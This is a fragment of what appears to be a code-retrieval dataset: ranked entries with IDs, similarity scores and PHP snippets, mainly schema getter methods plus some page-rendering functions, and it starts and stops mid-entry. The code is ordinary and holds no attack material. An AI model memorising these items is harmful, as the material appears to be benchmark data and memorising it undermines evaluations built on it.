entity_metadata_convert_schema($this->info['base table']);\n }", "title": "" }, { "docid": "96a720809d0320cdc953a369fc867e8e", "score": "0.65802187", "text": "public function getDefaultSchema(){}", "title": "" }, { "docid": "4e568fec0de499b696051a0cd0b9402c", "score": "0.65677965", "text": "protected function buildSchema()\n {\n return null;\n }", "title": "" }, { "docid": "8571162181b8744f5e14628679cc8fd1", "score": "0.65622264", "text": "public function getADOSChema() {\n\t\treturn new adoSchema($this->db);\n\t}", "title": "" }, { "docid": "8bf4c4f301763207682fc50b387e422c", "score": "0.65295565", "text": "public function getDatabaseSchema(): AbstractObject;", "title": "" }, { "docid": "acd8c07177c5ae1984f9eaeeebd4a3c8", "score": "0.65146136", "text": "public static function getEmptySchema()\n\t{\n\t\treturn static::$schema;\n\t}", "title": "" }, { "docid": "a2d4dfa81530863b8c6c8346e54fd4c5", "score": "0.64966863", "text": "public function getHasSchema() {\n\t\treturn $this->_hasSchema;\n\t}", "title": "" }, { "docid": "ddf1edaa955b3054d05456e5c3a2ddf8", "score": "0.64869946", "text": "public function findSchemaDefinition(): ?SchemaDefinition;", "title": "" }, { "docid": "5ec7a0aca5011e61255b35e7353fe6a5", "score": "0.64757806", "text": "public function getSchemaName(){}", "title": "" }, { "docid": "c079299a5d9be78abe0a64d03b2bd766", "score": "0.6475573", "text": "public function getPerFileSchema()\n {\n return null;\n }", "title": "" }, { "docid": "cc05ba7e8e7956992cbed99250db09f1", "score": "0.6475407", "text": "public function guessSchema(Entity $entity = null, array $options);", "title": "" }, { "docid": "8951586402a6cbe24461c58204f157af", "score": "0.6469099", "text": "protected function getSchemaFilter()\n {\n return $this->isMultiTenant() ? $this->getCurrentSchema() : null;\n }", "title": "" }, { "docid": "973ff6d94316c3f98e8e78cc7747f7e5", "score": "0.64666694", "text": "public function getSchemaName()\n {\n return $this->schema_name;\n }", "title": "" }, { "docid": "c7c9a6dad5fd8998ab0cdac55404f18c", "score": "0.64552695", "text": "public function getCoreSchema() {\n return $this->getSchema('core');\n }", "title": "" }, { "docid": "b336309b0f9bfb9f266ee477cbb0c1aa", "score": "0.64516735", "text": "public function getSchemaName();", "title": "" }, { "docid": "37ca9f978797037c773e274addbbc599", "score": "0.6448366", "text": "public function schema()\n\t{\n\t\tif (empty($this->_schema))\n\t\t{\n\t\t\t// Retrieve explicit search_path\n\t\t\t$result = $this->_execute('SELECT current_schemas(FALSE)');\n\n\t\t\tif (pg_result_status($result) !== PGSQL_TUPLES_OK)\n\t\t\t\tthrow new Database_Exception(':error', array(':error' => pg_result_error($result)));\n\n\t\t\t// Default schema is first in the array\n\t\t\tlist($this->_schema) = explode(',', trim(pg_fetch_result($result, 0), '{}'), 2);\n\n\t\t\tpg_free_result($result);\n\t\t}\n\n\t\treturn $this->_schema;\n\t}", "title": "" }, { "docid": "3efb0512b5bb97d78d7480eea57825fc", "score": "0.6436468", "text": "public function getSchemaName() {\n\t\treturn ($this->_schema);\n\t}", "title": "" }, { "docid": "70765425fd04bf3d3604325fb5d1efe4", "score": "0.6430679", "text": "public function getSchemaName()\n {\n return $this->table['schema'] ?? null;\n }", "title": "" }, { "docid": "96f59ad965c46272016a794cdb16a9c8", "score": "0.6412669", "text": "protected function schemaDefinition() {\n return ViewTestData::schemaDefinition();\n }", "title": "" }, { "docid": "b0e6650966ff217514ca183dfb6239c6", "score": "0.64059633", "text": "public function getSchema(): string\n {\n return self::TABLESCHEMA;\n }", "title": "" }, { "docid": "963f2c97d9e9cccda1b106e7fc88a1b2", "score": "0.64034253", "text": "public static function getSchema()\n {\n $schemaPath = dirname(dirname(__DIR__)) . '/' . self::SCHEMA_FILENAME;\n return Config::loadFromFile($schemaPath);\n }", "title": "" }, { "docid": "53a7746c5db828d0038352d33f228165", "score": "0.64016604", "text": "abstract protected function schema();", "title": "" }, { "docid": "f0febec382fb69fdec100caf3d7ad67f", "score": "0.63893986", "text": "public function getDatabaseSchema() {\n\n if (is_null($this->__databaseSchema)) {\n $path = $this->__phpDbRepresentationPath;\n $path = is_null($path) ? \"The path to the database's representation has not been set!\" : \"The path to the database's representation should be: \" . $path;\n $message = \"The schema of the database has not been set.\\nPlease call the method \\\"setDatabaseSchema()\\\" or \\\"setPhpDatabaseRepresentationPath()\\\" first.\\n${path}\";\n throw new \\Exception($message);\n }\n\n return $this->__databaseSchema;\n }", "title": "" }, { "docid": "218fc934fbdd3d54508b1d3b0a1b3755", "score": "0.63704723", "text": "public function schema()\n {\n return $this->types();\n }", "title": "" }, { "docid": "f6054d58720ac3c0faef02740bd92569", "score": "0.6366489", "text": "public function getDataSchema()\n {\n return $this->data_schema;\n }", "title": "" }, { "docid": "601a160ad39380e441935065df86eced", "score": "0.6353017", "text": "protected function fullSchema() {\n if ($this->schema === null) {\n $requirementSchema = Schema::parse([\n 'addonID:s' => 'The ID of the addon used for API calls.',\n 'name:s' => 'The name of the addon.',\n 'key:s' => 'The unique key that identifies the addon',\n 'type:s' => [\n 'description' => 'The type of addon.',\n 'enum' => ['addon', 'theme', 'locale']\n ],\n 'constraint:s' => 'The version requirement.',\n ]);\n\n $this->schema = Schema::parse([\n 'addonID:s' => 'The ID of the addon used for API calls.',\n 'name:s' => 'The name of the addon.',\n 'key:s' => 'The unique key that identifies the addon',\n 'type:s' => [\n 'description' => 'The type of addon.',\n 'enum' => ['addon', 'theme', 'locale']\n ],\n 'description:s?' => 'The addon\\'s description',\n 'iconUrl:s' => [\n 'description' => 'The addon\\'s icon.',\n 'format' => 'uri',\n ],\n 'version:s' => 'The addon\\'s version.',\n 'require:a?' => [\n 'type' => 'array',\n 'description' => 'An array of addons that are required to enable the addon.',\n 'items' => $requirementSchema,\n ],\n 'conflict:a?' => [\n 'type' => 'array',\n 'description' => 'An array of addons that conflict with this addon.',\n 'items' => $requirementSchema,\n ],\n 'enabled:b' => 'Whether or not the addon is enabled.',\n ])->setID('Addon');\n }\n return $this->schema;\n }", "title": "" }, { "docid": "bc3bf67eab054b41be9382dd92e04e41", "score": "0.6330378", "text": "public function getCurrentSchema()\n {\n return $this->currentSchema;\n }", "title": "" }, { "docid": "b5f1468584bfca94256b56936d964629", "score": "0.63249177", "text": "public function getSchema($schema_name){}", "title": "" }, { "docid": "966636c726cb7b4d122af1a7233ab1e1", "score": "0.6320411", "text": "public static function schema()\n {\n if (isset(static::$_schema[static::tableName()])) {\n return static::$_schema[static::tableName()];\n }\n\n return static::loadSchema();\n }", "title": "" }, { "docid": "b4af034070916656cb98cc9e710d94c7", "score": "0.63155323", "text": "public function getTableSchema()\n {\n return $this->table_schema;\n }", "title": "" }, { "docid": "a6fc240fbf802d1f29b7f9d8407433a5", "score": "0.6305833", "text": "public function getSchema()\n {\n return realpath(__DIR__ . '/../etc/') . DIRECTORY_SEPARATOR . 'config.xsd';\n }", "title": "" }, { "docid": "bb3fa52563cab7a4fc3b2d2d4cbbd611", "score": "0.62748474", "text": "public function getItemSchema()\n {\n return $this->itemSchema;\n }", "title": "" }, { "docid": "a613451b7abe9f382dcd2e0be1b46312", "score": "0.6267122", "text": "public function getSchema()\n\t{\n\t\treturn serialize( $this->tables );\n\t}", "title": "" }, { "docid": "ee8e2d8eeceb7c19a11ac739abc9e4e8", "score": "0.62219155", "text": "private function fullSchema() {\n /** @var Schema $schema */\n static $schema;\n\n if ($schema === null) {\n $schemaDefinition = [\n 'conversationID:i' => 'The ID of the conversation.',\n 'name:s' => 'The name of the conversation.',\n 'body:s' => 'The most recent unread message in the conversation.',\n 'url:s' => 'The URL of the conversation.',\n 'dateInserted:dt' => 'When the conversation was created.',\n 'insertUserID:i' => 'The user that created the conversation.',\n 'insertUser:o?' => $this->getUserFragmentSchema(),\n 'countParticipants:i' => 'The number of participants on the conversation.',\n 'participants?' => $this->getParticipantsSchema(),\n 'countMessages:i' => 'The number of messages on the conversation.',\n 'unread:bool?' => 'Whether the conversation has an unread indicator.',\n 'countUnread:int?' => 'The number of unread messages.',\n 'lastMessage:o?' => [\n 'insertUserID:i' => 'The author of the your most recent message.',\n 'dateInserted:dt' => 'The date of the message.',\n 'insertUser' => $this->getUserFragmentSchema(),\n ]\n// 'countReadMessages:n|i?' => 'The number of unread messages by the current user on the conversation.',\n// 'dateLastViewed:n|dt?' => 'When the conversation was last viewed by the current user.',\n ];\n\n // We unset to preserve the order of the parameters.\n if (!$this->config->get('Conversations.Subjects.Visible', false)) {\n unset($schemaDefinition['name:s?']);\n }\n\n // Name this schema so that it can be read by swagger.\n $schema = $this->schema($schemaDefinition, 'Conversation');\n }\n\n return $schema;\n }", "title": "" }, { "docid": "3e179116a2f0f3c489bfc8beeb9e81b3", "score": "0.62202", "text": "public static function getSchema($theSchema)\n {\n return __DIR__.\"/schema\".$theSchema;\n }", "title": "" }, { "docid": "263a96421748c9853ad07c7ce8f9edd4", "score": "0.6209953", "text": "public function schemaFor(string $resourceType): Schema;", "title": "" }, { "docid": "0194e0a97f6f8c4091fd86f6608db5aa", "score": "0.620063", "text": "public function getSchemaName(): ?string\n {\n if (null === $this->schemaName) {\n if ($this->getSuperordinate() && method_exists($this->getSuperordinate(), 'getSchemaName')) {\n return $this->getSuperordinate()->getSchemaName();\n }\n }\n\n return $this->schemaName;\n }", "title": "" }, { "docid": "29688a4ed7158567193406413346c48f", "score": "0.61980706", "text": "public static function getExceptionSchema(): Schema|string;", "title": "" }, { "docid": "43ba676b3d97101521aec2a28ae92354", "score": "0.61976606", "text": "protected function installedStorageSchema() {\n if (!isset($this->installedStorageSchema)) {\n $this->installedStorageSchema = \\Drupal::keyValue('entity.storage_schema.sql');\n }\n return $this->installedStorageSchema;\n }", "title": "" }, { "docid": "1406789a1383899f10fecdbe36950f92", "score": "0.6188589", "text": "protected function getSchema(): Schema\n {\n $schemaManager = $this->connection->getSchemaManager();\n $schema = $schemaManager->createSchema();\n\n $table = $schema->createTable($this->table);\n\n $table->addColumn('id', 'bigint', [\n 'autoincrement' => true,\n 'unsigned' => true,\n 'notnull' => true\n ]);\n\n $table->addColumn('queue', 'string', [\n 'length' => 255,\n 'notnull' => true\n ]);\n\n $table->addColumn('handle', 'guid', [\n 'length' => 36,\n 'notnull' => false\n ]);\n\n $table->addColumn('message', 'text', [\n 'length' => 4294967295,\n 'notnull' => true\n ]);\n\n $table->addColumn('status', 'string', [\n 'length' => 12,\n 'notnull' => true\n ]);\n\n $table->addColumn('created_at', 'datetime', [\n 'notnull' => true\n ]);\n\n $table->addColumn('updated_at', 'datetime', [\n 'notnull' => true\n ]);\n\n $table->setPrimaryKey(['id']);\n $table->addIndex(['queue']);\n $table->addIndex(['handle']);\n\n return $schema;\n }", "title": "" }, { "docid": "ba65aba52fe74d1e18432ff7291157ab", "score": "0.61552054", "text": "public function getSchemaUri()\n {\n $host = Mage::helper('xcom_xfabric')->getOntologyBaseUri();\n $this->_schemaUri = $host . $this->_topic . '/' . $this->_schemaVersion;\n return $this->_schemaUri;\n }", "title": "" }, { "docid": "77a3db7554579ecaec3981df36e12b95", "score": "0.61525947", "text": "public function getSchemaStorage(): StorageInterface;", "title": "" }, { "docid": "4f870bdf065c9d258011c414338cb41a", "score": "0.6143315", "text": "public function getPerFileSchema();", "title": "" }, { "docid": "da01dafe8212e5032c92828feec379b3", "score": "0.6130493", "text": "public function getSchemaManager()\n {\n return $this->realConn->getSchemaManager();\n }", "title": "" }, { "docid": "e9aa274c8254c525a3dc72be1dd74690", "score": "0.6110442", "text": "public function getSchemaName()\n {\n // TODO: Implement getSchemaName() method.\n }", "title": "" }, { "docid": "cf6891d2224f3998806f2b3a96cf0ccc", "score": "0.60886484", "text": "public function schema()\n {\n return [\n 'name' => 'string',\n 'description' => 'string',\n 'media_id' => 'number',\n 'parent_id' => 'number'\n ];\n }", "title": "" }, { "docid": "794cefe2e2caa72fab7f706a7f1363fb", "score": "0.60769564", "text": "abstract protected function getSchema(): array;", "title": "" }, { "docid": "6ba3414737057a94e0bdd7937ff7fa73", "score": "0.6059403", "text": "public function getDefinition()\n\t{\n\t\tif ( $this->isVirtual() )\n\t\t\treturn $this->definition;\n\n\t\treturn $this->reflection->getMethod( 'getSchema' )->invoke( null );\n\t}", "title": "" }, { "docid": "5c92b1de4790b636eec444e8bb3c7d2e", "score": "0.60460424", "text": "public function getNestedSchema(): ?Schema;", "title": "" }, { "docid": "514924fb09652ef32839af77a2f2d541", "score": "0.60039085", "text": "public function getSchema(): ?Builder\n {\n if (!$this->hasSchema()) {\n $this->setSchema($this->getDefaultSchema());\n }\n return $this->schema;\n }", "title": "" }, { "docid": "eef466ca4f64e3f001f1450345a3c890", "score": "0.6002106", "text": "private function getSchema() {\n switch ($this->schema) {\n\n \t\tcase \"customer\":\n \t\t\treturn trim($this->schemaLabel_customer);\n \t\t\tbreak; \t\n \tcase \"customertest\":\n \treturn trim($this->schemaLabel_customertest);\n \tbreak;\n \tcase \"dogtest\":\n \treturn trim($this->schemaLabel_dogtest);\n \t \tbreak;\n \tcase \"dog\":\n \treturn trim($this->schemaLabel_dog);\n \t \tbreak;\n \tcase \"delegate\":\n \treturn trim($this->schemaLabel_delegate);\n \t \tbreak; \n \tcase \"daycare\":\n \treturn trim($this->schemaLabel_daycare);\n \t \tbreak; \n \t case \"question\":\n \treturn trim($this->schemaLabel_question);\n \t \tbreak; \t \t \t \t\n \tcase \"test\":\n \techo \"This is a test\";\n \tbreak;\n case \"simpletest\":\n \treturn trim($this->schemaLabel_simpletest);\n \tbreak;\t\n\t\t}\n }", "title": "" }, { "docid": "1e2e834325adc77b2b3e8f3c1fdf6487", "score": "0.5991661", "text": "protected function schema($connection = 'default')\n {\n return $this->connection($connection)->getSchemaBuilder();\n }", "title": "" }, { "docid": "d34f925c462f25475d196e601dcb0535", "score": "0.59669423", "text": "function schema($item): Schema\n {\n $namespace = $item instanceof ModelInterface ? get_class($item) : $item;\n\n static $schema = [];\n\n if (!array_key_exists($namespace, $schema)) {\n $schema[$namespace] = container_resolve(Schema::class, [$namespace]);\n }\n return $schema[$namespace];\n }", "title": "" }, { "docid": "554a44aa4364d8f8ac8adb4a68d87572", "score": "0.596295", "text": "public function getPerFileSchema()\n {\n return $this->urnResolver->getRealPath('urn:genmato:module:Genmato_Sample:/etc/sample.xsd');\n }", "title": "" }, { "docid": "13a0a75cebebd074ab169f125b3d4e13", "score": "0.5936266", "text": "private function getSchemaName()\n {\n// return '';\n// $options = $this->getOptions();\n// return empty($options['schema']) ? 'public' : $options['schema'];\n }", "title": "" }, { "docid": "8075229ea4eb8c01d012aa51d474baf6", "score": "0.5935453", "text": "public function getTokenSchema()\n {\n $currentUser = $this->repository->getUser($this->getAuthIdentifier());\n\n return $currentUser ? $currentUser['token']['token_schema'] : null;\n }", "title": "" }, { "docid": "6f5565016a5848531b7fdb8b7765216b", "score": "0.5929195", "text": "protected function getEntitySchema(ContentEntityTypeInterface $entity_type, $reset = FALSE) {\n $this->checkEntityType($entity_type);\n $entity_type_id = $entity_type->id();\n\n if (!isset($this->schema[$entity_type_id]) || $reset) {\n // Prepare basic information about the entity type.\n /** @var \\Drupal\\Core\\Entity\\Sql\\DefaultTableMapping $table_mapping */\n $table_mapping = $this->getTableMapping($entity_type, $this->fieldStorageDefinitions);\n $tables = $this->getEntitySchemaTables($table_mapping);\n\n // Initialize the table schema.\n $schema[$tables['base_table']] = $this->initializeBaseTable($entity_type);\n if (isset($tables['revision_table'])) {\n $schema[$tables['revision_table']] = $this->initializeRevisionTable($entity_type);\n }\n if (isset($tables['data_table'])) {\n $schema[$tables['data_table']] = $this->initializeDataTable($entity_type);\n }\n if (isset($tables['revision_data_table'])) {\n $schema[$tables['revision_data_table']] = $this->initializeRevisionDataTable($entity_type);\n }\n\n // We need to act only on shared entity schema tables.\n $table_names = array_diff($table_mapping->getTableNames(), $table_mapping->getDedicatedTableNames());\n foreach ($table_names as $table_name) {\n if (!isset($schema[$table_name])) {\n $schema[$table_name] = [];\n }\n foreach ($table_mapping->getFieldNames($table_name) as $field_name) {\n if (!isset($this->fieldStorageDefinitions[$field_name])) {\n throw new FieldException(\"Field storage definition for '$field_name' could not be found.\");\n }\n // Add the schema for base field definitions.\n elseif ($table_mapping->allowsSharedTableStorage($this->fieldStorageDefinitions[$field_name])) {\n $column_names = $table_mapping->getColumnNames($field_name);\n $storage_definition = $this->fieldStorageDefinitions[$field_name];\n $schema[$table_name] = array_merge_recursive($schema[$table_name], $this->getSharedTableFieldSchema($storage_definition, $table_name, $column_names));\n }\n }\n }\n\n // Process tables after having gathered field information.\n if (isset($tables['data_table'])) {\n $this->processDataTable($entity_type, $schema[$tables['data_table']]);\n }\n if (isset($tables['revision_data_table'])) {\n $this->processRevisionDataTable($entity_type, $schema[$tables['revision_data_table']]);\n }\n\n // Add an index for the 'published' entity key.\n if (is_subclass_of($entity_type->getClass(), EntityPublishedInterface::class)) {\n $published_key = $entity_type->getKey('published');\n if ($published_key\n && isset($this->fieldStorageDefinitions[$published_key])\n && !$this->fieldStorageDefinitions[$published_key]->hasCustomStorage()) {\n $published_field_table = $table_mapping->getFieldTableName($published_key);\n $id_key = $entity_type->getKey('id');\n if ($bundle_key = $entity_type->getKey('bundle')) {\n $key = \"{$published_key}_{$bundle_key}\";\n $columns = [$published_key, $bundle_key, $id_key];\n }\n else {\n $key = $published_key;\n $columns = [$published_key, $id_key];\n }\n $schema[$published_field_table]['indexes'][$this->getEntityIndexName($entity_type, $key)] = $columns;\n }\n }\n\n $this->schema[$entity_type_id] = $schema;\n }\n\n return $this->schema[$entity_type_id];\n }", "title": "" }, { "docid": "e79fce4b5129a6713fdb147823581b3a", "score": "0.5924042", "text": "protected function baseSchema() {\n return array(\n 'fields' => array(\n 'feed_nid' => array(\n 'type' => 'int',\n 'unsigned' => TRUE,\n 'not null' => TRUE,\n ),\n 'id' => array(\n 'type' => 'serial',\n 'size' => 'normal',\n 'unsigned' => TRUE,\n 'not null' => TRUE,\n ),\n 'timestamp' => array(\n 'description' => 'The Unix timestamp for the data.',\n 'type' => 'int',\n 'unsigned' => TRUE,\n 'not null' => FALSE,\n ),\n ),\n 'indexes' => array(\n 'feed_nid' => array('feed_nid'),\n 'id' => array('id'),\n 'timestamp' => array('timestamp'),\n ),\n 'primary key' => array(\n '0' => 'id',\n ),\n );\n }", "title": "" }, { "docid": "53bf849d3f46aa0b138a6fa06c2c0d12", "score": "0.5921196", "text": "public function getSchemaGrammar(): SchemaGrammar\n {\n return $this->schemaGrammar;\n }", "title": "" } ]
9e40efc0ebe973ad0ae92262e0f44a30
Returns the opening tag for main container for the Table of Contents and the Knowledgebase content
[ { "docid": "28d6a98f876914dce74e42c8c43b6f7f", "score": "0.0", "text": "public function tableOfContentBeforeCallback()\n {\n if (true === self::isTocEnabled()) {\n echo '<div class=\"reference-has-table-of-content\">';\n echo '<div class=\"reference-menu-container\">';\n Helper::getTableOfContentMenu();\n echo '</div>';\n }\n return;\n }", "title": "" } ]
[ { "docid": "e889ea015283543e1e1c41268a7be58f", "score": "0.6261772", "text": "function getMainContent()\n\t{\n\t\tglobal $ilBench, $ilAccess;\n\n\t\t$tpl = new ilTemplate(\"tpl.container_page.html\", true, true,\n\t\t\t\"Services/Container\");\n\t\t\n\t\t// get all sub items\n\t\t$ilBench->start(\"ilContainerGUI\", \"0100_getSubItems\");\n\t\t$this->items = $this->getContainerObject()->getSubItems(\n\t\t\t$this->getContainerGUI()->isActiveAdministrationPanel());\n\t\t$ilBench->stop(\"ilContainerGUI\", \"0100_getSubItems\");\n\n\t\t// Show introduction, if repository is empty\n\t\t// @todo: maybe we move this\n\t\tif (count($this->items) == 0 &&\n\t\t\t$this->getContainerObject()->getRefId() == ROOT_FOLDER_ID &&\n\t\t\t$ilAccess->checkAccess(\"write\", \"\", $this->getContainerObject()->getRefId()))\n\t\t{\n\t\t\t$html = $this->getIntroduction();\n\t\t\t$tpl->setVariable(\"CONTAINER_PAGE_CONTENT\", $html);\n\t\t}\n\t\telse\t// show item list otherwise\n\t\t{\n\t\t\t$html = $this->renderItemList();\n\t\t\t$tpl->setVariable(\"CONTAINER_PAGE_CONTENT\", $html);\n\t\t}\n\n\t\treturn $tpl->get();\n\t}", "title": "" }, { "docid": "6423685875d2c88e83f5d7ebea374b2c", "score": "0.62224996", "text": "function insert_openning_div_for_schema_tag_to_main_content() {\r\n\t\t$schema_page_type = ( is_page_template('page-Blog.php') || is_page_template('archive.php') || is_single() ) ? ' itemtype=\"http://schema.org/Blog\" ' : '';\r\n\t\techo '<div itemprop=\"mainContentOfPage\" '.$schema_page_type.' itemscope=\"itemscope\">';\r\n\t}", "title": "" }, { "docid": "3e54e092d2ab4e43c873fcc7137b3d7a", "score": "0.6132564", "text": "protected function add_content()\n\t{\n\n\t\t$nav = new navigateHoriz($this->h_links, $this->link_root);\n\n return $nav->display_navbar()\n\t\t. \"\\n<div id=\\\"docwrapper\\\">\\n<div id=\\\"doccontent\\\">\";\n\t}", "title": "" }, { "docid": "3f9e6b96d55a66f14a21725742b2ac31", "score": "0.60596395", "text": "public function getMainHeading() : string\n {\n return <<< 'MAINHEADING'\nIntro to XML\nMAINHEADING;\n }", "title": "" }, { "docid": "070e244add36d59999ebc9e30dbfe1d9", "score": "0.603137", "text": "public static function default_main_content() : string\n\t{\n\n\t\t$mc =<<<'EOD'\n\n\t\t<p>main content goes here</p>\n\t\t<?php Skin::JournalGalleryThumbnails($trip, $entry);?> \n\t\t<p>and here</p>\nEOD;\n\t\treturn $mc;\n\t}", "title": "" }, { "docid": "67f1a44b37a6d3f60e3dadd6637300bd", "score": "0.5932612", "text": "public static function default_entry_main_content() : string\n\t{\n\n\t\t$mc =<<<'EOD'\n\n\t\t<!-- a new format 22/5/2019 -->\n\t\t<p>main entry content goes here</p>\n\t\t<?php Skin::JournalGalleryThumbnails($trip, $entry);?> \n\t\t<?php //Skin::JournalGalleryByName($trip, $entry, \"190421\");?> \n\t\t<p>and here</p>\n\t\t<div id=\"camping\">\n\t\t\t<p>camping comment goes here</p>\n\t\t</div>\n\t\t<div id=\"border\">\n\t\t</div>\n\t\nEOD;\n\t\treturn $mc;\n\t}", "title": "" }, { "docid": "76823bff1a513b786a620e0ed71b9275", "score": "0.58944005", "text": "protected function _content()\n {\n $tags = $GLOBALS['injector']->getInstance('Jonah_Driver')->listTagInfo();\n if (count($tags)) {\n $cloud = new Horde_Core_Ui_TagCloud();\n foreach ($tags as $id => $tag) {\n $cloud->addElement($tag['tag_name'], str_replace(array('@id@', '@tag@'), array($id, $tag['tag_name']), $this->_params['results_url']), $tag['total']);\n }\n $html = $cloud->buildHTML();\n } else {\n $html = '';\n }\n\n return $html;\n }", "title": "" }, { "docid": "22f2aba839839797f8edd2bb1fa490ed", "score": "0.5884049", "text": "abstract public function mainContent();", "title": "" }, { "docid": "75ad1899c41dcd2721e78a57c19a102f", "score": "0.5795796", "text": "public static function output_before_main_content() {\n\t\t?>\n\t\t<div class=\"#content\">\n\t\t\t<div class=\"article-content\">\n\t\t\t\t<div class=\"container\">\n\t\t<?php\n\t}", "title": "" }, { "docid": "52b34c1785e1d5478c33cc950562d517", "score": "0.5795563", "text": "public function getMainHeading() : string\n {\n return <<< 'MAINHEADING'\nJavaScript DOM Notes\nMAINHEADING;\n }", "title": "" }, { "docid": "4586dae76a1b9745a95432145c13bdbd", "score": "0.57781065", "text": "public function getContent() {\r\n\t\treturn \"<div class=\\\"document-markup\\\">\" . $this->getFormatted(\"Body\") . \"</div>\";\r\n\t}", "title": "" }, { "docid": "67e37600b5591dbcc7c1db74fc6a35e1", "score": "0.5763621", "text": "function html_tagOpen($tag, $container, $row) {\r\n\t\t$html = '\r\n<!-- '.$tag.' Section -->\r\n <'.$tag.'>';\t\r\n\t\tif ($container != false) {\r\n\t\t\tif ($container !='') {$container = ' class=\"'.$container.'\"';} else {$container='';}\r\n\t\t\t$html .= '\r\n <div'.$container.'>';\t\t\t\r\n\t\t}\r\n\t\tif ($row != false) {\r\n\t\t\tif ($row != '') {$row = ' class=\"'.$row.'\"';} else {$row='';}\r\n\t\t\t$html .= '\r\n\t\t\t<div'.$row.'>';\t\t\t\r\n\t\t}\t\t\r\n\t\treturn $html;\r\n\t}", "title": "" }, { "docid": "f6fdb96a4b62996d2efb723b9d85f720", "score": "0.5742609", "text": "public function main()\r\n\t{\r\n\t\t$content = $this->content;\r\n\r\n\t\t$this->output('<div class=\"qa-main'.(@$this->content['hidden'] ? ' qa-main-hidden' : '').'\">');\r\n\r\n\t\tif ((qa_request()!='questions')\t&& ((qa_request()!='tag')) ) { \r\n\t\t\t$this->output('<div class=\"qa-page-title-error\">');\r\n\t\t\t$this->page_title_error();\r\n\t\t\t$this->output('</div>');\r\n\t\t}\r\n\r\n\t\t$this->widgets('main', 'top');\r\n\t\t$this->widgets('main', 'high');\r\n\r\n\t\t// Tabs\r\n\t\t$this->nav('sub');\r\n\r\n\t\t// Second row of tabs\r\n\t\t$sub_navi_second = isset($content['sub-navi-second']) ? : '';\t\t\r\n\t\tif ($sub_navi_second) {\r\n\t\t\t$this->output($sub_navi_second);\r\n\t\t}\r\n\t\t\r\n\t\t$this->main_parts($content);\r\n\t\t$this->widgets('main', 'low');\r\n\t\t$this->page_links();\r\n\t\t$this->suggest_next();\r\n\t\t$this->widgets('main', 'bottom');\r\n\t\t$this->output('</div> <!-- END qa-main -->', '');\r\n\t}", "title": "" }, { "docid": "42c83322f4446b36338b79e68d581253", "score": "0.57358056", "text": "function layout_page_content_begin() {\n\techo ' <div class=\"page-content\">' , \"\\n\";\n}", "title": "" }, { "docid": "e9463f4f4959621d14fe72257a12d46e", "score": "0.5720566", "text": "function layout_main_content_begin() {\n\techo '<div class=\"main-content\">' , \"\\n\";\n}", "title": "" }, { "docid": "949ca06fa965fe27c09e00ca21ad6ca2", "score": "0.56746507", "text": "function openTagAndContentToHtml () {\n\t\tif ($this->tag == 'br' || $this->tag == 'input' || $this->tag == 'img') {\n\t\t\treturn '<'.$this->tag.' '.$this->getAtt ().' />' ;\n\t\t}\n\t\t\n\t\treturn '<'.$this->tag.' '.$this->getAtt ().'>'.$this->getContent () ;\n\t}", "title": "" }, { "docid": "c9d67cdb073a7963db997e4742f3a7da", "score": "0.5647286", "text": "function insert_openning_div_for_schema_tag_to_single_post() {\r\n\t\techo '<div itemtype=\"http://schema.org/BlogPosting\" itemprop=\"blogPost\" itemscope=\"itemscope\">';\r\n\t\techo ' <div itemprop=\"description articleBody\">';\r\n\t}", "title": "" }, { "docid": "65c3526c97aec69e82f5730a2a53f41e", "score": "0.5633372", "text": "public function getStartContainerTag()\n {\n return $this->startTag ? $this->startTag: '';\n }", "title": "" }, { "docid": "40d5cdfb5541b88813409fc8726d3a9a", "score": "0.5626729", "text": "public function content() {\n\t\treturn array('#markup' => 'Content');\n\t}", "title": "" }, { "docid": "2e6b4b46e62a17234c86267341e0fe36", "score": "0.5606901", "text": "function insert_openning_div_for_schema_tag_to_blog_sidebar() {\r\n\t\techo '<div itemtype=\"http://schema.org/WPSideBar\" itemscope=\"itemscope\">';\r\n\t}", "title": "" }, { "docid": "99ebf27e41c36f532147b789909e2f32", "score": "0.5606811", "text": "protected function _getHeader(){\n\n\t\t$tableTag = '<table' . $this->_getNonBooleanAttribs('id') . $this->_getComputedStyleAttrib(array('margin-top' => '10px')) . ' class=\"default\">';\n\n\t\tif($this->getTitle() !== ''){\n\n\t\t\treturn $tableTag . '\n\t<tr>\n\t\t<td style=\"padding-left:' . $this->_marginLeft . 'px;padding-bottom:10px;\" class=\"' . oldHtmlspecialchars(self::kTableTitle) . '\">' . oldHtmlspecialchars($this->getTitle()) . '</td>\n\t</tr>\n\t<tr>\n\t\t<td id=\"td_' . oldHtmlspecialchars($this->getId()) . '\">';\n\t\t} else {\n\n\t\t\treturn $tableTag . '\n\t<tr>\n\t\t<td id=\"td_' . oldHtmlspecialchars($this->getId()) . '\">';\n\t\t}\n\t}", "title": "" }, { "docid": "d9a6db3141f423c61c832a745b527566", "score": "0.559089", "text": "function wrapper_tpl_toc()\n {\n //[ALERTA JOSEP] analitzar si cal passar tpl_toc a PageDataQuery\n $toc = tpl_toc(TRUE);\n $toc = preg_replace(\n '/(<!-- TOC START -->\\s?)(.*\\s?)(<div class=.*tocheader.*<\\/div>|<h3 class=.*toggle.*<\\/h3>)((.*\\s)*)(<!-- TOC END -->)/i',\n '$1<div class=\"dokuwiki\">$2$4</div>$6', $toc\n );\n\n return $toc;\n }", "title": "" }, { "docid": "587858a91637f717a460058fe49a5ab1", "score": "0.5584916", "text": "public function getMainHeading() : string\n {\n return <<< 'MAINHEADING'\nOracle - PL SQL\nMAINHEADING;\n }", "title": "" }, { "docid": "07489f6771c3729c8ccd3d9be02ca1ac", "score": "0.5583271", "text": "public function getReferenceHeadLayout(){\n\t\t$content = \"\\t\\t\";\n\t\tif ($this->getIsTree()){\n\t\t\t$content .= '<reference name=\"head\">'.\"\\n\";\n\t\t\t$content .= \"\\t\\t\\t\".'<action method=\"addItem\" ifconfig=\"'.strtolower($this->getModule()->getModuleName()).'/'.strtolower($this->getNameSingular()).'/tree\"><type>skin_js</type><js>js/'.strtolower($this->getModule()->getNamespace()).'_'.strtolower($this->getModule()->getModuleName()).'/tree.js</js></action>'.\"\\n\";\n\t\t\t$content .= \"\\t\\t\".'</reference>'.\"\\n\";\n\t\t\t$content .= \"\\t\\t\";\n\t\t}\n\t\treturn $content;\n\t}", "title": "" }, { "docid": "ae8c3751be1366af9335db9e2f51968b", "score": "0.5578159", "text": "public function GetMainContentHTML(\\Silex\\Application $oApp)\n {\n\n //\n\n\n }", "title": "" }, { "docid": "61ab4684f4b763de860cfcef0c61e842", "score": "0.55640805", "text": "function content_block()\r\n {\r\n\t $this->add_head_css(new DefaultGUIDataListCSS) ;\r\n\r\n // This allows passing arguments eithers as a 